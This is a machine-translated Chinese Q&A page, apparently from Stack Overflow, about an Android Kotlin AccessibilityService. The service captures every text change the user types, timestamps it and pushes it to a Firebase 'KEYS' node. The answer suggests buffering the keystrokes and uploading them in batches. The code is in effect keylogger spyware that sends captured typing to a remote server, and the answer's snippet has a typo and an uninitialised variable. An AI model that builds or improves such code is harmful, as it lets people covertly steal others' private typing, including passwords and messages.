android - 如何使用可访问性数据服务在 android 中使用 Kotlin 将数据从键盘发送到 Firebase
问题描述
我有一个 AccessibilityDataService 类,当有某个事件时启动一个活动
当 onAccessibilityEvent 被调用时,它需要数据并将数据发送到交互器(在下面的代码中)我使用 AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED
它逐行获取数据并将其发送到交互器,但我希望立即发送整个数据:
@Inject lateinit var interactor: InteractorAccessibilityData
override fun onAccessibilityEvent(event: AccessibilityEvent) {
when (event.eventType) {
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED -> {
val data = event.text.toString()
if (data != "[]") {
interactor.setDataKey("${getDateTime()} |(TEXT)| $data")
Log.i(TAG, "${getDateTime()} |(TEXT)| $data")
}
}
}
}
交互器的代码在这里:
override fun setDataKey(data: String) {
if (firebase.getUser()!=null) firebase.getDatabaseReference(KEYS).child(DATA).push().child(TEXT).setValue(data)
}
保存在 Firbase 中的数据就像 -> 这就是数据在 firebase 中的样子: 图片
但我只想要这种形式的数据->这就是我想要 Firebase 中的数据的方式: 图片
解决方案
也许尝试将输入存储在一个变量中并仅在下一次交互发生时将其发送到 firebase,例如:EditText 没有聚焦或按下某个按钮时 - 只有然后将字符串从变量发送到 firebase 我不知道,我我只是想用一些逻辑
可能是这样的->
var tempData: String
if (data != "[]") {
tempData = tempData + data
Log.i(TAG, "${getDateTime()} |(TEXT)| $temData")}
在用户单击某些按钮或停止聚焦 EditText 之后,将您的内容interactor.setDataKey("${getDateTime()} |(TEXT)| $data")
移出If
,然后添加您的
data = tempData
interactor.setDataKey("${getDateTime()} |(TEXT)| $data")
或者,在您的情况下,在与键盘交互 1 分钟或按下“输入”(如果可能的话)后,继续将数据存储到变量并将数据发送到 firebase,这并不完美,但它看起来会更好。 thi.this
推荐阅读
- php - 使用复选框从数据库中提取电子邮件地址(PHP、MYSQL)
- dependency-injection - 如何通过实体内的注入服务访问查找数据?
- python - 无法从当前工作目录之外导入函数
- sql - 如何在按不同字段分组时查询过去 n 个月的平均值
- ruby - Ruby 无法从 Azure 实例元数据服务获取 Azure VM 元数据
- spring - 带有百里香叶的 Spring Boot 无法解析带有名称的视图
- reactjs - 在初始应用加载之前,我应该在哪里调度操作以调用服务以检索所需的数据?
- java - 如何以角度发布请求?
- python - 带有路线起点和终点位置的 Google ORTools VRPTW
- javascript - 我无法在控制台或终端中查看我的 JSON 对象,但我收到 200 状态代码